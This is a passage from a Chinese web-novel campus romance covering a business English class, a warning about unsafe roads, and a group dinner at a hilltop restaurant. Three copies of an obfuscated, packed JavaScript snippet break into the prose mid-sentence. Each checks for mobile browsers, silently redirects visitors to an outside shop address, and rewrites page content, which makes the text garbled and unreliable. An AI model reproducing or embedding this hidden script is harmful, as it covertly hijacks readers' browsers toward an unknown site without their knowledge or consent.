故事是这样的:她和宋挚前天在校外,被司机扔在昏暗的街道上,宋挚默默为她带路、她就对他心生了爱慕。时间线转到昨天,卢宇年在图书馆和她打招呼,说他们是老同学,她仔细回忆,发现是有这么一回事,但却记不得具体的事了。于是,他们就一起去食堂吃饭,她想问他些事情。结果,宋挚突然出现在食堂,直接坐到她身边,宋挚的妈妈还帮忙支开卢宇年。后来,他们走出食堂约会,她吻了他的脸颊,他们就确立了关系。 “没错,就是这样。” “啊?” 三人听得目瞪口呆,被这个剧情震撼,更是被这位新舍友的豁达和干脆击中了心。 “天哪,你也太牛了吧!”沈薇不由地发出感叹。 “对啊对啊。”韩婕和刘礼晨再一次异口同声。 现实里,四年的大学时光,雎安都没被舍友这样发自内心地敬佩过,一时间竟是红透了脸。 接着,韩婕感叹道:“我一直想加入骑行社,但我很久没骑车了,怕一起骑行的时候被人笑话,还在想要不要算了。看来,我得干脆点,去就完了!” 刘礼晨想了想,也说:“说起来,报道日那天,有个师兄主动帮我搬行李,人虽然不算帅,但五官端正、说话很温柔。你们这样,弄得我好想去要一个联系方式哦~” 看来,豁达而清爽地活着,是很多人想要做到却又犹豫胆怯的事情。 “加油,我支持你们,你们可真牛!”沈薇还在感叹。 “等等,先别聊了。” 刘礼晨看了眼电子表,先是惊了一下,而后语气急促地道:“我们要迟到了,快跑!” 语毕,四个青春洋溢的女生笑嘻嘻地往前冲,感受着青春的阳光、青春的风、青春的蝉鸣、青春的肆意。 ———————— 周二早上一共四节课,前两节是商务英语,后两节是商务实训。 这头两节课,实在是令雎安汗流浃背。 雎安躲到倒数第二排,沈薇在她身边落座,刘礼晨和韩婕自然地坐在她俩的正前方。 说起邓玉瑛,宋挚还未介绍时,雎安便立刻认出她是自己的商务英语老师。 一位极有气质的中年女性,英语口语非常好,说是年轻时出国学习过。 这些都不算什么,令雎安最最深刻的,是她上课极爱点名互动,布置作业也喜欢弄成演讲汇报的形式。 一想到昨晚邓玉瑛爱怜地望着她,即便她低头认真地扒碗里的饭,也能感受到有一双笑盈盈地眼睛饱含爱意地看着她。 吃得五分饱的雎安不舍地放下筷子,好不容易找到借口说要回宿舍。她一起身,宋挚也站起身,找了个十分蹩脚的理由跟着她。 当时,雎安完全不敢回头去看邓玉瑛的表情,因为她猜想多半是一副“磕到了”的表情。 完了!她以后肯定会被特殊关照的。 课未上,心已死。 雎安抓耳挠腮,觉得自己已经“阵亡”了。 沈薇是宿舍里唯一知道宋挚和邓玉瑛关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16395408|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系的人,昨天见宋挚面带愠怒地将邓玉瑛扶到卢宇年身边时,就已经激动得不行,加上她对邓玉瑛的教学风格有所了解,不免开始同情雎安了。 尤其是见到被宋挚扶着的邓玉瑛走进课室时,她第一时间便开始张望,一看就是在找人。 不知情况的刘礼晨和韩婕则完全看不懂这场戏,直到沈薇极富热情地讲解给她们听。 雎安在一旁看着沈薇的笑颜,想起周浮沉的那些话,心中情绪很是复杂。 虽然她知道这时候的沈薇是没问题的,大概率是工作后变了,但就是觉得膈应,不希望她触碰自己。 而这时,偏沈薇就拍了拍雎安的后背,试图宽慰她:“没事的,邓阿姨人很好也很可爱。我哥说宋家的家长都是出名的好脾气,你本来应试英语就很强,只要多练练英语口语,说不定还会给你打全系最高分呢。” 雎安刚刚还像软骨动物般趴在桌上,见到邓玉瑛后便立即坐得笔直,并且刻意避开和宋挚对视。 她小声道:“那我也得有这个实力啊!” 雎安是典型应试教育下的优秀生,但一旦涉及课外拓展和实践操作便会心余力绌。 “沈薇,你昨天说很喜欢点名问问题的就是她?”刘礼晨反应迟钝,听沈薇说了那么久,才意识到讲台上的人她昨天见过。 “是啊,我哥比我们早几届,之前也是她教的,说她非常喜欢布置全英的汇报作业。” 刘礼晨悬着的心终于死了,轻声哀嚎道:“完了,彻底完了,我的英语口语还不知道够不够得到英国幼儿园的水平。” 雎安深有同感,将头往前伸,道:“我也是。” “我可以帮你们。”韩婕倒是淡定,转过头对着三人道:“小时候,我妈给我请过外教。” 上课铃响。 宋挚将椅子搬至多媒体讲台的正后方,扶邓玉瑛坐下后,不疾不徐地在讲台上环顾一周。 “同学们,安静下来,现在开始上课。” 邓玉瑛高声喊停,台下纷杂的议论声彻底没了。 刚刚宋挚在踏进课室的时候,引起小范围的骚动,一是因为他是生面孔,二是因为本身气质就很出众。 只静静站着那,便如静谧的湖面,不知多深,不明其危,偶尔蒙上一层雾让人辨识不清,偶尔一束光打下又闪耀得令人睁不开眼。 碍于邓玉瑛在场,没人敢明目张胆的议论。 宋挚最终视线落定,抬脚走向右侧角落的位置,那也是雎安所在的方向。 雎安下意识屏住呼吸,视线交错的瞬间,她像是被定住了般,定定地望着他,而他也注意到了她的视线,蓦地朝她笑了一下。 他的笑容很浅、很淡,但她却能从他的眼睛里看到深而浓的爱意。 这有这么多人呢…… 雎安的脸迅速蹿红,忽地低下了头。 这个动作不受控,不在她的预期之内。 悸动,不需要理由,不强调时间,不限制地点,不拘泥于形式。 即便沉入千篇一律到烂俗的情节里,她仍会不受控地抬眼望去再羞怯地躲开。 无数偶像剧中有过的情节,不明一众导演为何执着于拍下此类剧情的她。 在这一刻,明白了。 71. “只要你说想,我就会留下。”^…… 宋挚顺利落座在雎安斜前方的空位上,两人之间隔着两排座位,距离并不算近。 “我叫邓玉瑛,你们以后可以叫我Cassie.如你们所见,我的脚受伤了,所以最近几周我都是坐着授课,希望同学们多多谅解。” 邓玉瑛见底下的同学们神情淡漠,早已见怪不怪,谈笑自如道:“我的课,出勤率达不到百分之九十,期末考直接不及格。如有事请假,必须得有假条,假条上得有辅导员签字。” 谈及此,台下的同学一个个聚精会神,眼睛死死地盯着老师。 “而且期末考只占百分之五十,最终得分和日常表现挂钩,书面作业占百分之十,实训汇报有两次,各占百分之二十。” 语罢,台下哀嚎一片。 有的同学更是仗着人多眼杂,可以隐藏在人群中,而不满地直接喊出“太不人道了”之类的话。 邓玉瑛轻笑,眸底透着一股寒气,“老师就是想帮帮大家,别都挤在期末周奋斗。丑话放在前头,期末就算是哭着来找我,我也不会帮忙的,因为我只认平时表现和期末成绩。” 此话一出,众人只觉后背一凉。 沈薇直接凑到雎安耳边,低语道:“好吓人呀,你自求多福吧!” “别忘了,你也是她的学生。”雎安回怼道。 沈薇嘴角轻扬,道:“我是普通同学一枚,你可不是。” 雎安表情苦涩地看她一眼,一时竟不知如何反驳。 “嘻嘻。”沈薇咯咯笑,很快便要乐极生悲。 ———————— “接下来,我打算抛开教材,和大家做个简单的互动。先这样吧,我点十名同学上来做英文的自我介绍,你们可以介绍介绍你的母校、家乡、爱好之类的内容。” “啊??” 这回大家出奇得一致,都发出了惊叹声,诧异于邓玉瑛的课程安排。 有的人耸拉着肩膀,有的人低头假寐,有的人心神不宁地摆弄着手中的物件,自然就会有人自信地看着老师期待借此表现一番。 邓玉瑛从教二十余年,这又是她开启新学期的老节目,要点什么人,心中自然有数,但碍于宋挚昨天再三叮嘱,让她千万不要特殊对待雎安。 所以,她决定第二个再点雎安。 儿子的面子嘛,当然要给,但不用给太多。 ———————— “到底是怎么回事啊?快点和妈妈说说啊,不是你女朋友你这么激动干嘛?看人姑娘和宇年吃个饭,就把妈妈一个劲地往人身边带。” 宋挚不答,坐在床边,埋头帮邓玉瑛整理生活用品。 好啊,好小子,翅膀硬了! 邓玉瑛可不打算让他糊弄过去,一副打破砂锅问到底的架势,见宋挚刻意回避,便优雅地拿起桌面上的水杯,喝了口玫瑰花茶,不慌不忙道:“唉~那我只能把人家叫来问问了。” “不行!”宋挚猛地站起身,后脑撞到床沿边的置物筐,吃疼地捂着隐隐作痛的位置。“妈,你答应过我,不能为难她,也不能特殊对待她。” “我课下把她叫来办公室问话不就行了,又不是在课上刻意刁难,这也叫特殊对待?” 见邓玉瑛摊手,一副就是要搞事情的模样,宋挚彻底败下阵来。 他不情不愿地解释道:“她还不是我女朋友。” 邓玉瑛笑眯眯地细品这句话。 “阿挚,妈妈可得提醒你,你追求人家可不能这么强势,尤其是不能直接干涉人家交朋友。” “我知道。”宋挚心中苦涩,“但卢宇年是什么样的人,又坑害了多少女生。妈,你也有所耳闻,我实在没办法坐视不管。” 话音刚落,邓玉瑛收手交握于胸前,十分欣慰地看着宋挚,“阿挚,你长大了,都会为爱冲动了!妈妈好欣慰。” 宋挚见邓玉瑛一副想抹眼泪的样子就忍不住打断她,“妈,请您接下来别脑补过多。” 邓玉瑛不接他的话,“之前你信誓旦旦地说要找什么灵魂伴侣,然后一起到处旅居,隔绝人世到田园生活。话说,你不会是想把人小姑娘拐跑吧?我不允许啊!你翘课我都不同意,你要是耽误人学业,怂恿人辍学的话,你就算躲到天涯海角,我和你爸都一定会把你给揪出来!” 语毕,邓玉瑛举起手,旋转手腕后紧紧握拳,以示警告。 宋挚露出一个无奈的微笑,“那是我小时候对爱情不成熟的幻想,甚至都没考虑到对方愿不愿意、现不现实的问题。妈,你别拿出来说了,好不好?” 闻言,邓玉瑛憋着笑道:“哟,话明明是你头几个月才说的,转眼就成小时候的事了。” 宋挚被噎住,想解释,结果发现自己根本解释不得,被怼得哑口无言,只得乖乖闭嘴。 “放心,妈妈懂,有句话怎么说的来着,标准都是给不喜欢的人定的。”邓玉瑛说完,噗呲一声,笑出声来。 “你们是一见钟情吗?” “什么时候认识的?” “你送她回宿舍的时候说什么了?” “要不要妈妈告诉你,女孩都是怎么想的。” “妈妈相信你,你比宇年帅,还比他聪明,一定能赢得雎安的芳心。” 邓玉瑛不停地叨叨叨,兴奋地像只啾啾叫的鸟雀,再说下去,都快想好未来孙辈的名字了。 宋挚不打断,也不回应,转过头去默默整理东西,唇角却不自觉地扬起。 ———————— 身为母亲,作为人师。 不论哪一个身份,邓玉瑛都不能出尔反尔。 那第一个就点沈薇吧。 她有印象,沈薇的哥哥沈遂行曾是她的学生,是个极有生意头脑的男孩子。 邓玉瑛听宋挚说过,沈遂行毕业就去创业,开了个货代公司,这些年赚了不少钱。 “第一个同学,沈薇。” 邓玉瑛见无人起身,确认道:“沈薇同学在吗?” “在......在的。”沈薇被点到后,吓得呆滞了好一会儿,而今才从呆滞的状态中回过神来,倏地站起了身。 邓玉瑛点头,伸手做出一个请的动作,“请你上台,用英文做一到两分钟的自我介绍。” 在沈薇以极其僵硬的姿态走上台,且憋不出几句话的时候,雎安在台下拿手机疯狂搜索,临时抱佛脚,在手心奋笔疾书,接住网络润色她的自我介绍。 刘礼晨见雎安握笔的手竟有些打颤,诧异地问道:“你干嘛那么紧张?叫到沈薇了,多半不会再叫我们宿舍的人。” 雎安想说希望如此,然而还没开口,就因邓玉瑛投来的视线而将话憋了回去。 沈薇介绍完后,先是一阵沉默,随后大家都默契地投以鼓励的掌声。邓玉瑛则是被沈薇差得出乎意料的表现给震住,但还是说了很多委婉的话来激励沈薇。 接下来,教室内的气氛再次变得焦灼。 沈薇快步回到座位坐下,小声嘟囔道:“太可怕了,阿姨真是有够恐怖的。” “邹雎安。” 由于邹雎安和宋挚的距离并不远,宋挚并不确定邓玉瑛到底是看着谁说的。 “雎安同学,上来介绍一下自己吧。” 此话一出,有同学再度松了口气,自然就有同学倒吸一口凉气。 除去早有预感的雎安,同宿舍的刘礼晨和韩婕都开始拿出手机疯狂检索。刘礼晨是不用说,韩婕虽自认英文口语不错,感知到可能要上台的那一刻却脑袋空空,心也开始扑通扑通地跳。 “好。”雎安面无表情地走上台,双手紧紧抓着衣角,人站得笔直,宛若一根绷紧的琴弦。 她闭上眼,深吸口气,睁开眼时,已经开始介绍自己。 毕业后,她从事的是外贸行业,每天都要接触英语,加上事先有准备,已经在台下检索并快速记背了要讲的内容,运用简单的关联词串联起来,串出一个过得去的自我介绍是没问题的。 虽然"Firstofall,meanwhile,finally."之类的词没有亮点,但胜在有逻辑,运用起来比难背难记的词藻实际得多。至于"I''mreallyintophotography,meditation,calligraphyandpainting."这句纯属瞎掰,只是为了显摆她是有些词汇量的人。 “That''sall.Thanks.” 语毕,雎安浅浅地鞠了个躬,隐于讲台下的拳头慢慢松了开来。 其实,她在自我介绍的过程中就已经逐步放松,进入状态后更是勇敢地和邓玉瑛对视了一眼,看到她含笑的眼眸后,她信心大增,转而看向舍友的方向,原是想获得朋友的肯定,却看见宋挚用右手捂着嘴鼻、低头憋笑。 他那么了解她,肯定是在笑她瞎掰爱好。 雎安顿觉脸热。 “同学们,自我介绍就是这样。简洁,却要有实质的内容。”邓玉瑛微笑着朝雎安点了点头,表示肯定,“说得很好,回去吧。” “好的,谢谢老师。”雎安微微欠身,小跑着回到座位。 刘礼晨和韩婕此刻心还悬着,无甚反应。 沈薇凑过来,酸酸地打趣道:“深藏不露啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16419902|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,刚刚还说自己不行。” 雎安往侧边挪了挪,避开和沈薇有过于亲近的肢体接触,随后笑着解释道:“我总感觉会叫到我,就事前做了准备。刚刚你在台上的时候,我就在搜英文自我介绍的常用短句,再记几个高级词汇,就够用了。” “快,把你的内容链接发群里。” 虽然没有成为第三个幸运儿,但刘礼晨表现得十分紧张。 雎安无异议,一点都没磨蹭,直接将学习内容转发到宿舍群。 韩婕全程没有说话,雎安却瞄到她默默地打开了链接,背记的模样看着很是紧张。 然而,直到自我介绍环节结束,韩婕和刘礼晨都没能放松下来。因为邓玉瑛在第一节课结束后,说第二节课会再请十名同学上台阅读课件,随后便打开PPT的第二页让大家自行观看。 雎安和沈薇倒是一身轻。 课室里空气不流通、实在是闷,雎安待不住,便起身到走廊透气,只是没想到沈薇也跟了出来。 “爸,我不是故意翘课,是辅导员拖着不批假。您给我点时间,晚点我回去解释,先挂了。”说完,宋挚果断按下了挂断键。 清晨的走廊上只有寥寥几人在围栏边吹风,周围一片宁静, 宋挚回身,视线交汇的瞬间,雎安再一次感受到了这世界只有她和他存在的奇妙感受。 她突然很想上前去,紧紧地拥住他。 虽然她知道她不敢这般放肆,可她的大脑已经在脑海中描绘出了画面。 看到他的那一刻,她的眼睛如同夜幕中的星星般闪耀却不刺目,她直冲冲地奔向他,一把环住他的腰肢,将头埋在他的颈窝处嗅闻,笑得合不拢嘴。 “安安。”宋挚小声唤她,一边招手一边退后,示意雎安到他那边的角落里来。 宋挚旁若无人的举动和称谓让沈薇感到十分意外。 以往她在哥哥的聚会上见过宋挚,第一印象便是幽默却又淡漠,随和却又极具分寸感。而今,眼前的这个人,好像没有了淡漠的疏离感,分寸感也没有了。 雎安回头,示意沈薇自己过去一会儿,而后便小跑到宋挚的身边。 两人一起隐入墙角,沈薇便看不见了。 “怎么了?”雎安做贼一般左右张望,还将声音压得很低。 宋挚今天穿着一身简单的白配蓝,她的眼神在触到宋挚腰腹的瞬间,好似能透过衣衫看到了他流畅的肌肉线条。 雎安脸一红。 她在想什么啊?! 宋挚知道她不喜欢成为焦点,更不喜欢被人在私底下议论,所以即便被她鬼祟且迟钝的模样可爱到,也忍着不笑出声来。 “抱歉,安安,本来我想一直都陪着你的,但是情况突然,学校和家里都有事要我去处理。” 其实也是赶巧了,雎安还在忧心怎么找机会和宋挚说,宋挚就主动找上她了。 “没事的,我正想找你呢。”雎安语气轻松地安慰道:“昨天我舍友一直说学校附近有家鸡公煲很好吃,让我一起去,我就答应了。后来你问我要不要一起吃饭的时候,我忘记了自己有约,刚刚还在发愁怎么和你说。” 约鸡公煲的事是沈薇在微信上说的,当时雎安在图书馆,也就是卢宇年搭讪之前。后来宋挚提出请她吃饭,说想和她一直待在一起,她心跳得飞快,根本没记起来自己已有约。 “是在山上的那家张记鸡公煲吗?”宋挚想到那家店的位置,不自觉地皱起了眉。 “嗯对,我听韩婕说,那家店是在山上。” 雎安其实本就知道,山上的那家张记鸡公煲是张风开的第一家店。 “那是个农庄餐馆,位置有些偏。我们学校附近原本都是村庄,很多上了年纪的老汉,现在很多路没修好,又有很多外来工人,附近鱼龙混杂。你们最好在学校内聚餐,实在想出去的话,得多找些伴,吃完一定要早点回学校。” 宋挚声音柔和,语速却快,处处透露着焦急和担忧。 雎安被他触不及防的关切弄得心跳都加快了些许,羞赧道:“我知道了,谢谢你,我会和韩婕她们商量。” 宋挚听罢,欲再说些什么,却被上课铃声打断,但他仍再次提醒道:“一定以安全为先,安安。” “好,明天见!” 雎安答得利落爽快,笑着朝他挥了挥手,准备离开。 “安安。” “嗯?” “你想我陪在你身边吗?” “啊?”雎安顿在原地,“可你不是有很多事要去处理吗?” “只要你说想,我就会留下。” 72. 青纱帐起,路人断行。 第二节课,邓玉瑛没再点雎安宿舍里的人。 只是,邓玉瑛的课程安排实在是令人心惊胆战,直到宋挚扶着邓玉瑛离开教室,室内气氛终于不再焦灼,众人才觉得有一丝清凉之风拂过肌肤,感到惬意而自在。 三四节课是商务实训,科室在601。所有人才休息不到三分钟,就被班长叫起来,动身上楼。 雎安走到韩婕身边,将宋挚的话转告给她。 沈薇在一旁听着,奇怪雎安怎么会突然忧心起安全来,转念一下,即刻明白过来。 “宋挚提醒你的?”沈薇自问自答,嗓门还大,“好甜哦,他这是在关心你耶,人好好~” 见她的笑眼眯成了一条线,雎安无奈一笑,将食指放在唇边,示意她放低声音。 不想,这回连韩婕和刘礼晨都主动加入到了调侃的队伍里。 韩婕道:“宋挚他好不好不知道,宋挚她妈可太刁钻了。” “对啊,每次要搞事情的时候就笑眯眯的,眼睛和机关枪一样扫射我们。”刘礼晨用手肘撞了撞雎安,“是你未来婆婆哦,自求多福吧!。” “什么未来婆婆?”雎安感觉自己的脸在烧,“拜托,不要乱说。” “不过说真的,难怪宋挚那么帅,Cassie的身材、脸蛋、气质都很好。”沈薇的语气中满是羡慕,“学识也高,简直完美。” Cassie? 雎安一时都没反应过来,好一会儿才想起这是邓玉瑛的英文名。 是啊,她才意识到宋挚生长于怎样的家庭。 爸爸是大学教授,妈妈是大学副教授,他自己是985院校的本硕连读。 想到自己的家庭,想到自己的学历和工作,雎安不免生出了自卑感。 低落的情绪一直持续到下午的商务英语翻译课结束,雎安以昨晚没睡好、午觉没睡着的理由敷衍回应舍友们的关心。 下午的课程于四点结束,时间尚早,但出于安全考虑,雎安提议即刻前往“张师傅鸡公煲”、早去早回。 其余三人想减肥,觉得晚餐早点吃是好事,都没意见,四人便即刻启程了。 沈薇一边查地图,一边道:“我看这里写,鸡公煲是五点开始营业,我们走过去也就差不多了。” 韩婕接话道:“听说张师傅鸡公煲的生意很火爆,很多人开一两个小时的车都要来这吃一顿。我们早点去,压着开始营业的点,还不用等位。刚好我认识几个骑行社的师兄,他们说也要去,大家还能搭伙走山路,安全点。” 韩婕很喜欢骑自行车,与她而言,骑行早已是她生命的一部分,所以当她听到学校有骑行社时,便兴奋地打听社团所在地,自来熟地和骑行社的成员打成了一片。 “好啊。” “没问题。” 沈薇和刘礼晨都没意见,雎安则点了点头。 宿舍一行人到校门口和骑行社的三位师兄集合,启程前往位于喜多多农庄的张师傅鸡公煲店。 这一路上,雎安环顾四周。 这里不是破败的老旧房屋,就是寥寥几人居住的自建新楼。她并不知道这附近的村庄叫什么,只是猜想这和多数村庄一样。年轻人外出打工,只有老人小孩仍在这不发达、不便利的城市角落里留守着。 “因为有我们学校和那边的工厂,过不了多久,这附近肯定会开很多商店。”骑行社的黎海诺指着不远处的厂房,热情地介绍道:“那是华州市安娜维诺化妆品有限公司的工厂,基本上留在村里的年轻人都进了这间厂,它做化妆品的,你们女生应该知道吧?” 沈薇尴尬地摇摇头,其余一众人都无甚表情。 雎安倒是知道,这家公司旗下有两个品牌的日化用品卖得很好,但目前名气还不大。 黎海诺也不尴尬,接着说道:“像华州大学刚建分校的时候,附近的环境比我们这还要恶劣,我们这至少还有小卖部,他们那附近都是一座座小山。” 沈薇看了眼手机上的导航提示,“可是我们这附近也是山啊,我看导航显示鸡公煲在山上。” 韩婕伸手搂住沈薇,手在其身后慢慢收紧,示意她别说了。 黎海诺倒不觉得这是拆台,慢慢地解释道:“对,张师傅鸡公煲确实就在山上。不过那座山很矮,爬几步就到了。而且这附近,其实也没几座山。” “那就好。”刘礼晨没想到路途这么遥远,已经有些泄气:“但是再矮的山也是山啊。唉~现在才到山脚,好累啊。” “待会儿吃东西才更香嘛。”雎安左看右看,时不时回头,心不在焉地宽慰刘礼晨。 路过一栋栋年久失修的民居,未天黑,多数楼房的内屋已先一步陷入黑夜。 偶有灯光透过纱窗照射出来的人家,定伴随着浓浓的烟火气。越靠近喜多山庄,越是车马盈门、尘土飞扬。 雎安这一路走下来,被不安的回忆侵袭。 方向虽相反,上次她是从左侧走回学校的,这次往喜多山庄的路是在学校右侧,但两边的沿途景物极其相似,不由地令她忆起那个持刀的影子。 可她不敢确定自己是真看见了,兴许是眼花。毕竟当时灯光昏暗,宋挚将她拽回头的时候,她并没有看见人。 “青纱帐起,路人断行。” 上山的路上,雎安想到了这句话。 山脚通往山顶的道路边都是高而密的植被,别说雎安,即使是一米八的黎海诺也无法轻易探清里边的情况。 里边若是有人隐在某处伺机而动,他们并不容易发现。 “这地方也太吓人了。”刘礼晨靠近雎安,低声感叹。 雎安挽起刘礼晨的手,向前方的众人提议道:“大家千万不要落单,这种地方很危险的。” 黎海诺望向四周,脚步踉跄了一下,“你们女生走前面吧,我们男生走后面。” 雎安提醒道:“你们男生也要并排走。” “这么夸张吗?”沈薇看着眼前比她还要高的植被,不以为意道,“这大白天的,谁敢这么嚣张啊?” 韩婕也认同:“对啊,现在没什么好怕的,晚上我们叫车就...” 雎安直接打断道:“这类地方俗称青纱帐,是命案的高发地。之前我家里人就和我说,哪怕是开车经过,看到有人招手,绝对不要停!路过的人让你进去帮忙就更不用说了,一定不要去!要是在这种地方出事,植被太高,人视线受阻,很难逃出去的。” 闻言,眼前团团簇簇的枝叶瞬间变得有些诡怖,仿佛只要细细去瞧,就会瞧见一双双如狼如豺的瞳孔。 韩婕将挽着沈薇的手收紧,语气中带了些责怪,“师兄,你不是黎家村的人吗?这么危险怎么不提醒提醒我们?” 她承认,之前会阻止沈薇拆台,会收敛自己的直来直往的脾性,转而沉默居多,都是因为自己对黎海诺有好感。 但这会儿,防备使得理智回归,她说话又开始直来直往。 黎海诺无奈地解释道:“我们家早就搬出去了。而且我小时候,这里还有没开鸡公煲,一片荒芜。我爸妈根本不让我来这,我也不知道这里是这样的路。” 骑行社的另两位师兄帮腔,一个劝小师妹别紧张,一个让雎安她们别害怕。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16430254|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然而,在雎安听到黎海诺曾是附近村庄的村民时,身上鸡皮疙瘩骤起。 只能说她们运气好,黎海诺一行人是没问题的。如果和善劝诫只是表面,他又熟悉这一片,三个擅长运动的成年男性完全可以制服四个女性。 偏又是在这青纱帐,即便不断有车辆途径上山,人被拉进去后发出求救,外边也听不清。即使有人听到,想提供帮助,也很难辨清方向。 想到这,雎安不寒而栗。 雎安附在刘礼晨耳边,“待会吃完,我们打车回去,大不了和师傅说愿意加钱,总有愿意上来接我们的。” “好。”刘礼晨转而贴到韩婕耳边传达。 抵达张师傅鸡公煲门口,雎安主动和黎海诺说明,她们想姐妹聚餐,就不和他们一起了。 黎海诺他们很爽快地说好,并无异议。 之后,两拨人便分开落座。这正和刘礼晨的意,她很社恐,并不想宿舍聚餐里有三个男生加入。 “说起来,这三个师兄你熟吗?”沈薇小心翼翼地问。 “开学也才几天,聊过两次,关系还可以吧,一般般。”韩婕喝了口热茶,为自己辩解道:“我想着大家都是一所学校的,又是一个社团的,搭个伴也好。” 雎安接过服务员递过来的菜单,看似无心地问道:“当初是他提议走路来这里的吗?” 韩婕眼神闪烁,“是啊,我没想那么多,就把话传给沈薇了。” 沈薇迅速接话:“当时我没想这么多,就觉得距离挺近的,学校附近打车又很难,走走路就当是锻炼了。” “我不是在责怪你们。”雎安一边示意她们看菜单,一边解释道:“毕竟我和刘礼晨都是说过同意,自己跟过来的。只是,我觉得我有必要提醒大家,之前我老家有个命案就是在这种地方发生的。新闻说是两个读艺术的女生被熟人推荐去附近的玉米地写生,结果就是熟人作案,两人都遇害了。” 沈薇握着菜单的手收紧了些,“只能说,幸好黎师兄他们不是坏人。” “他不是说他也不知道这里的环境吗?我都以为这里是那种开发得很好的、已经商业化的山庄,谁知道这么野生的。”韩婕环顾四周,对店面的环境并不满意。 雎安又想到那个持刀的影子,感叹道:“难怪辅导员让我们尽量别出校门。” 一直到热腾腾的鸡公煲端上桌,雎安一行人紧绷的神经才得以放松。 “真的好香啊,鸡肉也很嫩。” 鸡公煲的味道好得出乎意料,沈薇完全忘记了方才的惊惧,沉醉于大口吃肉的快乐中。 食物滚烫,仍冒着热气。 雎安连吹几口气后,将沾满酱汁的面条嗦进嘴里,随后感叹:“你们试试这裹满姜汁的面条,更香!” 来得早的好处,便是她们可以慢慢吃,吃到一半的时候,还可以坐在店里观赏外边大排长龙的盛况。 偌大而偏僻的山庄竟能在营业半小时后便人满为患,雎安好奇地四处张望,第一次听说喜多多农庄的时候,还以为它是“山庄苔满阶,旧雨来人少”的类型。 “这里有位置,我们为什么不能坐?!”一个五大三粗的男人怒质服务员,同时将菜单卷起后猛地敲击桌面。 韩婕的位置最靠近男子,被此举吓得一颤。 雎安离得远一些,却是正对着男子,看到他身后还有一名女子抱着小孩。女子捂住小孩的耳朵,表情有些无奈、还有些惊恐。 “因为这是我提前打电话订的位置。” 这声音! 雎安回头回得太快,差点扭到脖子。 73. 她已经被他看透了。 此刻,卢宇年也注意到了雎安,但他并不急着打招呼。难得有送上门的家伙给他羞辱,他必定要好好“招待”,以解他最近在家人那受得窝囊气。 谁知那名男子一见这是三名人高马大的男人订的位置,果断拉着妻儿灰溜溜地跑了。 动作之快,仿佛事情没发生过似的。 莫名其妙被刁难一通的服务生看得直摇头。 韩婕讶异得都没注意到筷子中的鸡块掉进了碗里。 卢宇年和他的朋友同样感到讶异,转而化为一声讥笑。 “Hi,大家吃得很香嘛。”卢宇年转过身,主动和雎安一行人打招呼。 沈薇热情地回应,韩婕和刘礼晨也礼貌性地应声,只有雎安的注意力不在卢宇年身上。 再一次见到活生生的李豫,她竟有恍若隔世之感,一时之间,竟未能挪开眼。 “我们认识?”李豫笑着问道。 闻言,雎安慌乱地移开视线,自觉失礼,在卢宇年讶异并略带不满的眼神中,慌乱地搬出宋挚来解围,“不认识,但是很眼熟。我认识宋挚,看过你和他的合照。” 闻言,李豫轻轻挑了挑眉,倒未像卢宇年般质疑她。 卢宇年一行人点餐时,斜对面的沈薇朝雎安使眼色,示意她看手机。雎安拿出放在口袋里的手机,点开微信,发现宿舍群已经有十几条信息。 信息内容总结为,询问雎安是不是纯花痴?难道要移情别恋了? 雎安无奈地苦笑,耸了耸肩,摆了摆手,无声地表示自己并没有。她已经不想再出声辩解,对舍友持续的调侃也有些无奈。 沈薇见雎安的反应很是平淡,转而探头去问卢宇年:“不介绍一下吗?” 卢宇年转身去看,虽然他很讨厌沈薇的哥哥,但沈薇倒是个讨喜的人,于是顺着她的话,道:“我叫卢宇年,上次我们在食堂见过了。我旁边的是李豫,对面的是李博勤,等会儿还会来一个人。” 雎安没想到卢宇年的介绍这么敷衍,介绍完就知道个名字。 但沈薇还算是个擅长交际的人,又对他们存有好奇,故而锲而不舍地追问,这才得知李豫是华州大学法医系的新生,李博勤是华州财经大学的工商管理系的新生。 兴许是同校的缘故,雎安明显能感觉到,卢宇年和李博勤的关系更要好。不少次,李豫张口似要说些什么,但就是插不上话,不受尊重和重视的样子。 “李豫是法医系的啊,这么厉害!”沈薇语气中充满崇拜,“还是华州大学的。” “我是因为分数不够,被调剂到法医系的。”李豫谦虚地笑笑,说了个冷笑话,“不过也挺好的,医患关系稳定。” 沈薇轻笑出声,接着问道:“那你解剖过尸体吗?会不会很吓人啊?” “我们才刚开学,没实践过。不过课本上的图片倒是挺吓人的,不敢想象我以后会在现场看到那些支离破碎的尸块。” 闻言,在场不少人都停止了咀嚼。 雎安呆愣地看着碗里的面条,脑中闪过那可怕的画面,不禁打了个寒颤。 卢宇年仰头喝水的时候碰巧看见,关心道:“你是冷到,还是被臭李豫吓到了?” 